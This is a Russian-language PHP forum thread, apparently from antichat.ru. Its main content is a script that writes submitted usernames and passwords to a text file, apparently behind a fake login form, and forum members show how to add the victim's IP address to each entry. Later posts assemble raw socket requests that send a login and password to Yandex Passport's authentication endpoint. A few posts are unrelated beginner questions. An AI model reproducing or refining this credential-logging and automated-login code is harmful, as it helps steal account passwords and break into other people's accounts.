а вот хотел ещё спросить что ещё нужно дописать сюда PHP: if(isset($_POST['login'])){ $fp = fopen ("antiemo.txt", "a"); fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n"); fclose ($fp); чтобы вписывало ещё и айпи адресс
да много чего можно написать =) PHP: <?php echo "<pre>"; print_r ($GLOBALS); echo "</pre>"; ?> Выбирай =)
+ к этому информация о браузере foreach (getallheaders() as $header => $value){ echo "$header: $value<br/>"; }
Dr.Frank, большинство хидеров будут доступны в $_SERVER['HTTP_header'], например, $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_IF_MODIFIED_SINCE'] и проч. Поэтому это уже излишне
Можно ли осуществить запрет на все браузеры отличные от Ie? Дело в том, что по-разному отображается контент, в зависимости от браузера, а пока что только такой метод считаю целесообразным. Буду оч. благодарен за любую подсказку.
а как этот код сюда дописать? PHP: if(isset($_POST['login'])){ $fp = fopen ("antiemo.txt", "a"); fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n"); fclose ($fp); з.ы, сор за тупые вопросы , пока только начинаю))))
более правильно будет PHP: fwrite ($fp, "IP: ".$_SERVER['REMOTE_ADDR']." UserName: ".$_POST['req_username']." Password: ".$_POST['req_password']." \n");
iNVLose, такой вариант не прокатит. апострофы тогда надо убрать. Более правильный вариант предложил ENFIX - переменные рекомендуется вносить за пределы строк, объединяя их со строковыми константами конкатенацией "."
Такая проблема PHP: 21. $p = explode("?",$link); 22. $p1 = strlen($p[0]); 23. $p2 = strlen($p[1]); Пишет: Notice: Undefined offset: 1 in T:\home\localhost\test.php on line 23 Как можно исправить? Вопрос исчерпан.
только начинаю учить пхп подскажите пожайлусто как отправить пост запрос с переменными с помощью сокетов и получить ответ ну как примерно в этом только нужен post с переменными PHP: <?php $fp = fsockopen("www.yandex.ru", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: www.yandex.ru\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?>
PHP: $post_data = "a=1&b=2&c=3&d=4"; $length = strlen ( $post_data ); $header = "POST http://forum.antichat.ru/index.php HTTP/1.0\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n". "Host: forum.antichat.ru\r\n". "Content-Length: $length\r\n\r\n". $post_data; Заголовок такой. Остальное аналогично.
делаю вот так PHP: <?php $fp = fsockopen("www.passport.yandex.ru", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $post_data = "retpath=http%3A%2F%2Fmail.yandex.ru%2F×tamp=1182979341312&login=zz&passwd=zz"; $length = strlen ( $post_data ); $header = "http://passport.yandex.ru/passport?mode=auth HTTP/1.0\r\n" . $header ="Content-Type: application/x-www-form-urlencoded\r\n". $header ="Host: passport.yandex.ru\r\n". $header ="Content-Length: $length\r\n\r\n". $post_data; fwrite($fp, $header); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?> пишет Bad Request Your browser sent a request that this server could not understand. Invalid URI in request http://passport.yandex.ru/passport?mode=auth HTTP/1.0
PHP: $header = "POST /passport?mode=auth HTTP/1.0\r\n" . $header .="Host: passport.yandex.ru\r\n". $header .="Content-Type: application/x-www-form-urlencoded\r\n". $header .="Content-Length: $length\r\n\r\n". Вот так